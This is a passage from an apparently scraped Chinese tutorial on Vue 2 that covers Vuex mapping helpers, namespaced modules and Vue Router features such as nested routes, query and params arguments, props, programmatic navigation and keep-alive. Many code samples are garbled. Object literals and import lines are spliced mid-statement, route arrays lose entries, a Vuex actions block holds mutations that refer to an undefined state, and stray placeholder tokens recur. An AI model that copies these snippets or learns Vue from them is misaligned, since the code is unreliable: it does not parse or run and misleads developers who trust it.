    			// ...mapState(['sum','school','name']),// 借助mapState生成计算属性(对象写法)
    			...mapState({sum:'sum',school:'school',name:'name'}),...mapGetters(['bigSum'])
    		}
    	}
    </script>
    
    <style>
    	button{
    		margin-left: 5px;
    	}
    </style>
    

    效果

    总结:

    @H_987_404@
  • mapState方法:用于帮助我们映射state中的数据

    computed: {
        //借助mapState生成计算属性:sum、school、subject(对象写法)
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
             
        //借助mapState生成计算属性:sum、school、subject(数组写法)
        ...mapState(['sum','school','subject']),
    },
    
  • mapGetters方法:用于帮助我们映射getters中的数据

    computed: {
        //借助mapGetters生成计算属性:bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
    
        //借助mapGetters生成计算属性:bigSum(数组写法)
        ...mapGetters(['bigSum'])
    },
    
  • 5.4.2. mapActions与mapMutations

    src/components/Count.vue:

    <template>
    	<div>
    		<h1>当前求和为:{{sum}}</h1>
    		<h3>当前求和的10倍为:{{bigSum}}</h3>
    		<h3>我是{{name}},我在{{school}}学习</h3>
    		<select v-model.number="n">
    			<option value="1">1</option>
    			<option value="2">2</option>
    			<option value="3">3</option>
    		</select>
    		<button @click="increment(n)">+</button>
    		<button @click="decrement(n)">-</button>
    		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
    		<button @click="incrementWait(n)">等一等再加</button>
    	</div>
    </template>
    
    <script>
    	import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
    
    	export default {
    		name:'Count',methods: {
    			// 借助mapActions生成:increment、decrement(对象形式)
    			...mapMutations({increment:'ADD',decrement:'SUBTRACT'}),// 借助mapActions生成:incrementOdd、incrementWait(对象形式)
    			...mapActions({incrementOdd:'addOdd',incrementWait:'addWait'})
    		},...mapGetters(['bigSum'])
    		}
    	}
    </script>
    
    <style>
    	button{
    		margin-left: 5px;
    	}
    </style>
    

    总结:

    @H_987_404@
  • mapActions方法:用于帮助我们生成actions对话的方法,即:包含$store.dispatch(xxx)函数

    methods:{
        //靠mapActions生成:incrementOdd、incrementWait(对象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
        //靠mapActions生成:incrementOdd、incrementWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
    
  • mapMutations方法:用于帮助我们生成mutations对话的方法,即:包含$store.commit(xxx)函数

    methods:{
        //靠mapActions生成:increment、decrement(对象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        
        //靠mapMutations生成:JIA、JIAN(对象形式)
        ...mapMutations(['JIA','JIAN']),
    }
    
  • 备注:mapActionsmapMutations使用时,若需要传递参数,则需要在模板中绑定事件时传递好参数,否则参数是事件对象

    5.5. 多组件共享数据

    src/App.vue:

    <template>
    	<div class="container">
    		<Count/>
    		<hr/>
    		<Person/>
    	</div>
    </template>
    
    <script>
    	import Count from './components/Count'
    	import Person from './components/Person'
    
    	export default {
    		name:'App',components:{Count,Person}
    	}
    </script>
    

    src/store/index.js:

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
       
    //准备actions对象——响应组件中用户的动作
    const actions = {
        addOdd(context,value){
            state.sum -= value
        },
    	ADD_PERSON(state,value){
    		console.log('mutations中的ADD_PERSON被调用了')
    		state.personList.unshift(value)
    	}
    }
    //准备state对象——保存具体的数据
    const state = {
        sum:0,
        personList:[
    		{id:'001',name:'JOJO'}
    	]
    }
    //准备getters对象——用于将state中的数据进行加工
    const getters = {
        bigSum(){
            return state.sum * 10
        }
    }
       
    //创建并暴露store
    export default new Vuex.Store({
        actions,
        getters
    })
    

    src/components/Count.vue:

    <template>
    	<div>
    		<h1>当前求和为:{{sum}}</h1>
    		<h3>当前求和的10倍为:{{bigSum}}</h3>
    		<h3>我是{{name}},我在{{school}}学习</h3>
    		<h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
    		<select v-model.number="n">
    			<option value="1">1</option>
    			<option value="2">2</option>
    			<option value="3">3</option>
    		</select>
    		<button @click="increment(n)">+</button>
    		<button @click="decrement(n)">-</button>
    		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
    		<button @click="incrementWait(n)">等一等再加</button>
    	</div>
    </template>
    
    <script>
    	import {mapState,methods: {
    			...mapMutations({increment:'ADD',...mapActions({incrementOdd:'addOdd',computed:{
    			...mapState(['sum','name','personList']),...mapGetters(['bigSum'])
    		}
    	}
    </script>
    
    <style>
    	button{
    		margin-left: 5px;
    	}
    </style>
    

    src/components/Person.vue:

    <template>
    	<div>
    		<h1>人员列表</h1>
    		<h3 style="color:red">Count组件求和为:{{sum}}</h3>
    		<input type="text" placeholder="请输入名字" v-model="name">
    		<button @click="add">添加</button>
    		<ul>
    			<li v-for="p in personList" :key="p.id">{{p.name}}</li>
    		</ul>
    	</div>
    </template>
    
    <script>
    	import {nanoid} from 'nanoid'
    	export default {
    		name:'Person',data() {
    			return {
    				name:''
    			}
    		},computed:{
    			personList(){
    				return this.$store.state.personList
    			},sum(){
    				return this.$store.state.sum
    			}
    		},methods: {
    			add(){
    				const personObj = {id:nanoid(),name:this.name}
    				this.$store.commit('ADD_PERSON',personObj)
    				this.name = ''
    			}
    		}
    	}
    </script>
    

    效果

    5.6. 模块化+命名空间

    src/store/index.js:

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引入count
    import countOptions from './count'
    //引入person
    import personoptions from './person'
    //应用Vuex插件
    Vue.use(Vuex)
       
    //创建并暴露store
    export default new Vuex.Store({
        modules:{
            countAbout:countOptions,
            personAbout:personoptions,
        }
    })
    

    src/store/count.js:

    export default{
        namespaced:true,
        actions:{
            addOdd(context,value){
                console.log("actions中的addOdd被调用了")
                if(context.state.sum % 2){
                    context.commit('ADD',value)
                }
            },
            addWait(context,value){
                console.log("actions中的addWait被调用了")
                setTimeout(()=>{
                    context.commit('ADD',value)
                },500)
            }
        },
        mutations:{
            ADD(state,value){
                state.sum += value
            },
            SUBTRACT(state,value){
                state.sum -= value
            }
        },
        state:{
            sum:0, //当前的和
            name:'JOJO',
            school:'尚硅谷',
        getters:{
            bigSum(state){
                return state.sum * 10
            }
        }
    }
    

    src/store/person.js:

    import axios from "axios"
    import { nanoid } from "nanoid"
    
    export default{
        namespaced:true,
        actions:{
            addPersonWang(context,value){
                if(value.name.indexOf('王') === 0){
                    context.commit('ADD_PERSON',value)
                }else{
                    alert('添加的人必须姓王!')
                }
            },
            addPersonServer(context){
                axios.get('http://api.uixsj.cn/hitokoto/get?type=social').then(
                    response => {
                        context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
                    },
                    error => {
                        alert(error.message)
                    }
                )
            }
        },
        mutations:{
            ADD_PERSON(state,value){
                console.log('mutations中的ADD_PERSON被调用了')
                state.personList.unshift(value)
            }
        },
        state:{
            personList:[
                {id:'001',name:'JOJO'}
            ]
        },
        getters:{
            firstPersonName(state){
                return state.personList[0].name
            }
        }
    }
    

    src/components/Count.vue:

    <template>
    	<div>
    		<h1>当前求和为:{{sum}}</h1>
    		<h3>当前求和的10倍为:{{bigSum}}</h3>
    		<h3>我是{{name}},我在{{school}}学习</h3>
    		<h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
    		<select v-model.number="n">
    			<option value="1">1</option>
    			<option value="2">2</option>
    			<option value="3">3</option>
    		</select>
    		<button @click="increment(n)">+</button>
    		<button @click="decrement(n)">-</button>
    		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
    		<button @click="incrementWait(n)">等一等再加</button>
    	</div>
    </template>
    
    <script>
    	import {mapState,methods: {
    			...mapMutations('countAbout',{increment:'ADD',...mapActions('countAbout',{incrementOdd:'addOdd',computed:{
    			...mapState('countAbout',['sum',...mapGetters('countAbout',['bigSum']),...mapState('personAbout',['personList'])
    		}
    	}
    </script>
    
    <style>
    	button{
    		margin-left: 5px;
    	}
    </style>
    

    src/components/Person.vue:

    <template>
    	<div>
    		<h1>人员列表</h1>
    		<h3 style="color:red">Count组件求和为:{{sum}}</h3>
            <h3>列表中第一个人的名字是:{{firstPersonName}}</h3>
    		<input type="text" placeholder="请输入名字" v-model="name">
    		<button @click="add">添加</button>
            <button @click="addWang">添加一个姓王的人</button>
            <button @click="addPerson">随机添加一个人</button>
    		<ul>
    			<li v-for="p in personList" :key="p.id">{{p.name}}</li>
    		</ul>
    	</div>
    </template>
    
    <script>
    	import {nanoid} from 'nanoid'
    	export default {
    		name:'Person',computed:{
    			personList(){
    				return this.$store.state.personAbout.personList
    			},sum(){
    				return this.$store.state.countAbout.sum
    			},firstPersonName(){
                    return this.$store.getters['personAbout/firstPersonName']
                }
    		},name:this.name}
    				this.$store.commit('personAbout/ADD_PERSON',personObj)
    				this.name = ''
    			},addWang(){
                    const personObj = {id:nanoid(),name:this.name}
    				this.$store.dispatch('personAbout/addPersonWang',personObj)
    				this.name = ''   
                },addPerson(){
                    this.$store.dispatch('personAbout/addPersonServer')
                }
    		},}
    </script>
    

    效果

    总结:

    模块化+命名空间:

    @H_987_404@
  • 目的:代码更好维护,让多种数据分类更加明确

  • 修改store.js

    const countAbout = {
    	namespaced:true,//开启命名空间
    	state:{x:1},
        mutations: { ... },
        actions: { ... },
      	getters: {
        	bigSum(state){
           		return state.sum * 10
        	}
      	}
    }
    
    const personAbout = {
      	namespaced:true,//开启命名空间
      	state:{ ... },
      	mutations: { ... },
      	actions: { ... }
    }
    
    const store = new Vuex.Store({
      	modules: {
        	countAbout,
        	personAbout
      	}
    })
    
  • 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum',
    
  • 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
    
  • 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
  • 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',
    
  • 6. Vue Router路由管理器

    6.1 相关理解

    6.1.1 vue-router的理解

    6.1.2 对SPA应用的理解

    @H_987_404@
  • 单页 Web 应用(single page web application,SPA)
  • 整个应用只有一个完整的页面
  • 点击页面中的导航链接不会刷新页面,只会做页面局部更新
  • 数据需要通过ajax请求获取
  • 6.1.3 路由的理解

    @H_987_404@
  • 什么是路由?

    @H_987_404@
  • 一个路由就是一组映射关系(key - value)
  • key 为路径,value 可能是 function 或 componen
  • 路由分类

    @H_987_404@
  • 后端路由:

    @H_987_404@
  • 理解:value 是 function,用于处理客户端提交的请求
  • 工作过程:服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据
  • 前端路由:

    @H_987_404@
  • 理解:value 是 component,用于展示页面内容
  • 工作过程:当浏览器的路径改变时,对应的组件就会显示
  • 6.2 基本路由

    下载vue-routernpm i vue-router

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../components/Home'
    import About from '../components/About'
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
                component:About
            },
            {
                path:'/home',
                component:Home
            }
        ]
    })
    

    src/main.js:

    import Vue from 'vue'
    import App from './App.vue'
    import VueRouter from 'vue-router'
    import router from './router'
    
    Vue.config.productionTip = false
    Vue.use(VueRouter)
    
    new Vue({
        el:"#app",
        router
    })
    

    src/App.vue:

    <template>
    	<div>
    		<div class="row">
    			<div class="col-xs-offset-2 col-xs-8">
    				<div class="page-header"><h2>Vue Router Demo</h2></div>
    			</div>
    		</div>
    		<div class="row">
    			<div class="col-xs-2 col-xs-offset-2">
    				<div class="list-group">
    					<!-- 原始html中我们使用a标签实现页面跳转 -->
    					<!-- <a class="list-group-item active" href="./about.html">About</a>
    					<a class="list-group-item" href="./home.html">Home</a> -->
    					
    					<!-- Vue中借助router-link标签实现路由的切换 -->
    					<router-link class="list-group-item" active-class="active" to="/about"> 							About
        				</router-link>
    					<router-link class="list-group-item" active-class="active" to="/home">
                            Home
        				</router-link>
    				</div>
    			</div>
    			<div class="col-xs-6">
    				<div class="panel">
    					<div class="panel-body">
    						<!-- 指定组件的呈现位置 -->
    						<router-view></router-view>
    					</div>
    				</div>
    			</div>
    		</div>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'App',}
    </script>
    

    src/components/Home.vue:

    <template>
      <h2>我是Home组件的内容</h2>
    </template>
    
    <script>
        export default {
            name:'Home'
        }
    </script>
    

    src/components/About.vue:

    <template>
      <h2>我是About组件的内容</h2>
    </template>
    
    <script>
        export default {
            name:'About'
        }
    </script>
    

    总结:

    @H_987_404@
  • 安装vue-router,命令:npm i vue-router

  • 应用插件Vue.use(VueRouter)

  • 编写router配置项:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    //暴露router
    export default router
    
  • 实现切换(active-class可配置高亮样式):

    <router-link active-class="active" to="/about">About</router-link>
    
  • 指定展示位:<router-view></router-view>

  • 6.3. 几个注意事项

    @H_987_404@
  • 路由组件通常存放在pages文件夹,一般组件通常存放在components文件

    比如上一节的案例就可以修改为:

    src/pages/Home.vue:

    <template>
      <h2>我是Home组件的内容</h2>
    </template>
    
    <script>
        export default {
            name:'Home'
        }
    </script>
    

    src/pages/About.vue:

    <template>
      <h2>我是About组件的内容</h2>
    </template>
    
    <script>
        export default {
            name:'About'
        }
    </script>
    

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
                component:Home
            }
        ]
    })
    

    src/components/Banner.vue:

    <template>
        <div class="col-xs-offset-2 col-xs-8">
            <div class="page-header"><h2>Vue Router Demo</h2></div>
        </div>
    </template>
    
    <script>
        export default {
            name:'Banner'
        }
    </script>
    

    src/App.vue:

    <template>
        	<div>
        		<div class="row">
        			<Banner/>
        		</div>
        		<div class="row">
        			<div class="col-xs-2 col-xs-offset-2">
        				<div class="list-group">
        					<!-- 原始html中我们使用a标签实现页面跳转 -->
        					<!-- <a class="list-group-item active" href="./about.html">About</a>
        					<a class="list-group-item" href="./home.html">Home</a> -->
    					<!-- Vue中借助router-link标签实现路由的切换 -->
    					<router-link class="list-group-item" active-class="active" to="/about">
                            About
        				</router-link>
    					<router-link class="list-group-item" active-class="active" to="/home">
                            Home
        				</router-link>
    				</div>
    			</div>
    			<div class="col-xs-6">
    				<div class="panel">
    					<div class="panel-body">
    						<!-- 指定组件的呈现位置 -->
    						<router-view></router-view>
    					</div>
    				</div>
    			</div>
    		</div>
    	</div>
    </template>
    
    <script>
    	import Banner from './components/Banner.vue'
    	export default {
    		name:'App',components:{Banner}
    	}
    </script>
    
  • 通过切换,“隐藏”了的路由组件,认是被销毁掉的,需要的时候再去挂载

  • 每个组件都有自己的$route属性,里面存储着自己的路由信息

  • 整个应用只有一个router,可以通过组件的$router属性获取

  • 6.4. 多级路由

    src/pages/Home.vue:

    <template>
        <div>
            <h2>Home组件内容</h2>
    		<div>
    			<ul class="nav nav-tabs">
    				<li>
    					<router-link class="list-group-item" active-class="active" to="/home/news"> 
                            News
        				</router-link>
    				</li>
    				<li>
    					<router-link class="list-group-item" active-class="active" to="/home/message">
                            Message
        				</router-link>
    				</li>
    			</ul>
    			<router-view></router-view>
    		</div>
        </div>
    </template>
    
    <script>
        export default {
            name:'Home'
        }
    </script>
    

    src/pages/News.vue:

    <template>
        <ul>
            <li>news001</li>
            <li>news002</li>
            <li>news003</li>
        </ul>
    </template>
    
    <script>
        export default {
            name:'News'
        }
    </script>
    

    src/pages/Message.vue:

    <template>
        <ul>
            <li>
                <a href="/message1">message001</a>&nbsp;&nbsp;
            </li>
            <li>
                <a href="/message2">message002</a>&nbsp;&nbsp;
            </li>
            <li>
                <a href="/message/3">message003</a>&nbsp;&nbsp;
            </li>
        </ul>
    </template>
    
    <script>
        export default {
            name:'News'
        }
    </script>
    

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
                component:Home,
                children:[
                    {
                        path:'news',
                        component:News
                    },
                    {
                        path:'message',
                        component:Message
                    }
                ]
            }
        ]
    })
    

    效果

    总结:

    @H_987_404@
  • 配置路由规则,使用children配置项:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children配置子级路由
    			{
    				path:'news', //此处一定不要写:/news
    				component:News
    			},
    			{
    				path:'message', //此处一定不要写:/message
    				component:Message
    			}
    		]
    	}
    ]
    
  • 跳转(要写完整路径):<router-link to="/home/news">News</router-link>

  • 6.5. 路由的query参数

    src/router.index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
    import Detail from '../pages/Detail'
    
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
                        component:Message,
                        children:[
                            {
                                path:'detail',
                                component:Detail
                            }
                        ]
                    }
                ]
            }
        ]
    })
    

    src/pages/Detail.vue:

    <template>
        <ul>
            <li>消息编号:{{$route.query.id}}</li>
            <li>消息标题:{{$route.query.title}}</li>
        </ul>
    </template>
    
    <script>
        export default {
            name:'Detail'
        }
    </script>
    

    src/pages/Message.vue:

    <template>
        <div>
            <ul>
                <li v-for="m in messageList" :key="m.id">
                    <!-- 跳转路由并携带query参数,to的字符串写法 -->
                    <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">
                        {{m.title}}
                    </router-link>&nbsp;&nbsp; -->
    
                    <!-- 跳转路由并携带query参数,to的对象写法 -->
                    <router-link :to="{
                        path:'/home/message/detail',query:{
                            id:m.id,title:m.title
                        }
                    }">
                        {{m.title}}
                    </router-link>&nbsp;&nbsp;
                </li>
            </ul>
            <hr/>
            <router-view></router-view>
        </div>
    </template>
    
    <script>
        export default {
            name:'News',data(){
                return{
                    messageList:[
                        {id:'001',title:'消息001'},title:'消息002'},title:'消息003'}
                    ]
                }
            }
        }
    </script>
    

    效果

    总结:

    @H_987_404@
  • 传递参数:

    <!-- 跳转并携带query参数,to的字符串写法 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
    				
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link :to="{
    	path:'/home/message/detail',query:{
    		id:666,title:'你好'
    	}
    }">跳转</router-link>
    
  • 接收参数:

    $route.query.id
    $route.query.title
    
  • 6.6. 命名路由

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
    import Detail from '../pages/Detail'
    
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
                        children:[
                            {
                                //name配置项为路由命名
                                name:'xiangqing',
                                path:'detail',
                                component:Detail
                            }
                        ]
                    }
                ]
            }
        ]
    })
    

    src/pages/Message.vue:

    <template>
        <div>
            <ul>
                <li v-for="m in messageList" :key="m.id">
                    <!-- 跳转路由并携带query参数,to的字符串写法 -->
                    <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">
                        {{m.title}}
                    </router-link>&nbsp;&nbsp; -->
    
                    <!-- 跳转路由并携带query参数,to的对象写法 -->
                    <router-link :to="{
                        //使用name进行跳转
                        name:'xiangqing',title:'消息003'}
                    ]
                }
            }
        }
    </script>
    

    总结:

    命名路由:

    @H_987_404@
  • 作用:可以简化路由的跳转

  • 如何使用:

    @H_987_404@
  • 给路由命名:

    {
    	path:'/demo',
    	component:Demo,
    	children:[
    		{
    			path:'test',
    			component:Test,
    			children:[
    				{
                        name:'hello' //给路由命名
    					path:'welcome',
    					component:Hello,
    				}
    			]
    		}
    	]
    }
    
  • 简化跳转

    <!--简化前,需要写完整的路径 -->
    <router-link to="/demo/test/welcome">跳转</router-link>
    
    <!--简化后,直接通过名字跳转 -->
    <router-link :to="{name:'hello'}">跳转</router-link>
    
    <!--简化写法配合传递参数 -->
    <router-link 
    	:to="{
    		name:'hello',query:{
    		    id:666,title:'你好'
    		}
    	}"
    >跳转</router-link>
    
  • 6.7. 路由的params参数

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
    import Detail from '../pages/Detail'
    
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
                        children:[
                            {
                                name:'xiangqing',
                                path:'detail/:id/:title',//使用占位符声明接收params参数
                                component:Detail
                            }
                        ]
                    }
                ]
            }
        ]
    })
    

    src/pages/Message.vue:

    <template>
        <div>
            <ul>
                <li v-for="m in messageList" :key="m.id">
                    <!-- 跳转路由并携带params参数,to的字符串写法 -->
                    <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`">
                        {{m.title}}
                    </router-link>&nbsp;&nbsp; -->
    
                    <!-- 跳转路由并携带params参数,to的对象写法 -->
                    <router-link :to="{
                        name:'xiangqing',params:{
                            id:m.id,title:'消息003'}
                    ]
                }
            }
        }
    </script>
    

    src/pages/Detail.vue:

    <template>
        <ul>
            <li>消息编号:{{$route.params.id}}</li>
            <li>消息标题:{{$route.params.title}}</li>
        </ul>
    </template>
    
    <script>
        export default {
            name:'Detail'
        }
    </script>
    

    总结:

    @H_987_404@
  • 配置路由,声明接收params参数:

    {
    	path:'/home',
    	component:Home,
    	children:[
    		{
    			path:'news',
    			component:News
    		},
    		{
    			component:Message,
    			children:[
    				{
    					name:'xiangqing',
    					path:'detail/:id/:title', //使用占位符声明接收params参数
    					component:Detail
    				}
    			]
    		}
    	]
    }
    
  • 传递参数:

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="/home/message/detail/666/你好">跳转</router-link>
    				
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
    	:to="{
    		name:'xiangqing',params:{
    		   id:666,title:'你好'
    		}
    	}"
    >跳转</router-link>
    

    特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  • 接收参数:

    $route.params.id
    $route.params.title
    
  • 6.8. 路由的props配置

    src/pages/Message.vue:

    <template>
        <div>
            <ul>
                <li v-for="m in messageList" :key="m.id">
                    <router-link :to="{
                        name:'xiangqing',title:'消息003'}
                    ]
                }
            }
        }
    </script>
    

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
    import Detail from '../pages/Detail'
    
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
                                component:Detail,
                                //props的第一种写法,值为对象,该对象中的所有key-value都会以props的形式传给Detail组件。
    							// props:{a:1,b:'hello'}
    
    							//props的第二种写法,值为布尔值,若布尔值为真,就会把该路由组件收到的所有params参数,以props的形式传给Detail组件。
    							// props:true
    
    							//props的第三种写法,值为函数
    							props($route){
    								return {
    									id:$route.params.id,
    									title:$route.params.title,
    								}
    							}
                            }
                        ]
                    }
                ]
            }
        ]
    })
    

    src/pages/Detail.vue:

    <template>
        <ul>
            <li>消息编号:{{id}}</li>
            <li>消息标题:{{title}}</li>
        </ul>
    </template>
    
    <script>
        export default {
            name:'Detail',props:['id','title']
        }
    </script>
    

    总结:

    • 作用:让路由组件更方便的收到参数

      {
      	name:'xiangqing',
      	path:'detail/:id',
      	component:Detail,
      
      	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
      	// props:{a:900}
      
      	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
      	// props:true
      	
      	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
      	props(route){
      		return {
      			id:route.query.id,
      			title:route.query.title
      		}
      	}
      }
      

    6.9. 路由跳转的replace方法

    src/pages/Home.vue:

    <template>
        <div>
            <h2>Home组件内容</h2>
    		<div>
    			<ul class="nav nav-tabs">
    				<li>
    					<router-link replace class="list-group-item" active-class="active" to="/home/news">News</router-link>
    				</li>
    				<li>
    					<router-link replace class="list-group-item" active-class="active" to="/home/message">Message</router-link>
    				</li>
    			</ul>
    			<router-view></router-view>
    		</div>
        </div>
    </template>
    
    <script>
        export default {
            name:'Home'
        }
    </script>
    

    总结:

    @H_987_404@
  • 作用:控制路由跳转时操作浏览器历史记录的模式
  • 浏览器的历史记录有两种写入方式:pushreplace,其中push是追加历史记录,replace是替换当前记录。路由跳转时候认为push方式
  • 开启replace模式:<router-link replace ...>News</router-link>
  • 6.10. 编程式路由导航

    src/components/Banner.vue:

    <template>
    	<div class="col-xs-offset-2 col-xs-8">
    		<div class="page-header">
    			<h2>Vue Router Demo</h2>
    			<button @click="back">后退</button>
    			<button @click="forward">前进</button>
    			<button @click="test">测试一下go</button>
    		</div>
    	</div>
    </template>
    
    <script>
    	export default {
    		name:'Banner',methods:{
    			back(){
    				this.$router.back()
    			},forward(){
    				this.$router.forward()
    			},test(){
    				this.$router.go(3)
    			}
    		},}
    </script>
    

    src/pages/Message.vue:

    <template>
        <div>
            <ul>
                <li v-for="m in messageList" :key="m.id">
                    <router-link :to="{
                        name:'xiangqing',title:m.title
                        }
                    }">
                        {{m.title}}
                    </router-link>
                    <button @click="showPush(m)">push查看</button>
                    <button @click="showReplace(m)">replace查看</button>
                </li>
            </ul>
            <hr/>
            <router-view></router-view>
        </div>
    </template>
    
    <script>
        export default {
            name:'News',title:'消息003'}
                    ]
                }
            },methods:{
                showPush(m){
                    this.$router.push({
                        name:'xiangqing',title:m.title
                        }
                    })
                },showReplace(m){
                    this.$router.replace({
                        name:'xiangqing',title:m.title
                        }
                    })
                }
            }
        }
    </script>
    

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
    import Detail from '../pages/Detail'
    
    
    //创建并暴露一个路由器
    export default new VueRouter({
        routes:[
            {
                path:'/about',
    							props($route){
    								return {
    									id:$route.query.id,
    									title:$route.query.title,'title']
        }
    </script>
    

    效果

    总结:

    @H_987_404@
  • 作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活

  • 具体编码:

    this.$router.push({
    	name:'xiangqing',
        params:{
            id:xxx,
            title:xxx
        }
    })
    
    this.$router.replace({
    	name:'xiangqing',
            title:xxx
        }
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退
    
  • 6.11. 缓存路由组件

    src/pages/News.vue:

    <template>
        <ul>
            <li>news001 <input type="text"></li>
            <li>news002 <input type="text"></li>
            <li>news003 <input type="text"></li>
        </ul>
    </template>
    
    <script>
        export default {
            name:'News'
        }
    </script>
    

    src/pages/Home.vue:

    <template>
        <div>
            <h2>Home组件内容</h2>
    		<div>
    			<ul class="nav nav-tabs">
    				<li>
    					<router-link replace class="list-group-item" active-class="active" to="/home/news">News</router-link>
    				</li>
    				<li>
    					<router-link replace class="list-group-item" active-class="active" to="/home/message">Message</router-link>
    				</li>
    			</ul>
    			<keep-alive include="News">
    				<router-view></router-view>
    			</keep-alive>
    		</div>
        </div>
    </template>
    
    <script>
        export default {
            name:'Home'
        }
    </script>
    

    效果

    总结:

    @H_987_404@
  • 作用:让不展示的路由组件保持挂载,不被销毁

  • 具体编码:

    //缓存一个路由组件
    <keep-alive include="News"> //include中写想要缓存的组件名,不写表示全部缓存
        <router-view></router-view>
    </keep-alive>
    
    //缓存多个路由组件
    <keep-alive :include="['News','Message']"> 
        <router-view></router-view>
    </keep-alive>
    
  • 6.12. activated和deactivated

    `src/pages/News.vue`:
    
    <template>
        <ul>
            <li :style="{opacity}">欢迎学习vue</li>
            <li>news001 <input type="text"></li>
            <li>news002 <input type="text"></li>
            <li>news003 <input type="text"></li>
        </ul>
    </template>
    
    <script>
        export default {
            name:'News',data(){
                return{
                    opacity:1
                }
            },activated(){
                console.log('News组件被激活了')
                this.timer = setInterval(() => {
                    this.opacity -= 0.01
                    if(this.opacity <= 0) this.opacity = 1
                },16)
            },deactivated(){
                console.log('News组件失活了')
                clearInterval(this.timer)
            }
        }
    </script>
    

    效果

    总结:

    @H_987_404@
  • activateddeactivated是路由组件所独有的两个钩子,用于捕获路由组件的激活状态
  • 具体使用: @H_987_404@
  • activated路由组件被激活时触发
  • deactivated路由组件失活时触发
  • 6.13. 路由守卫

    6.13.1. 全局路由守卫

    src/router/index.js:

    //该文件专门用于创建整个应用的路由器
    import VueRouter from "vue-router";
    //引入组件
    import Home from '../pages/Home'
    import About from '../pages/About'
    import News from '../pages/News'
    import Message from '../pages/Message'
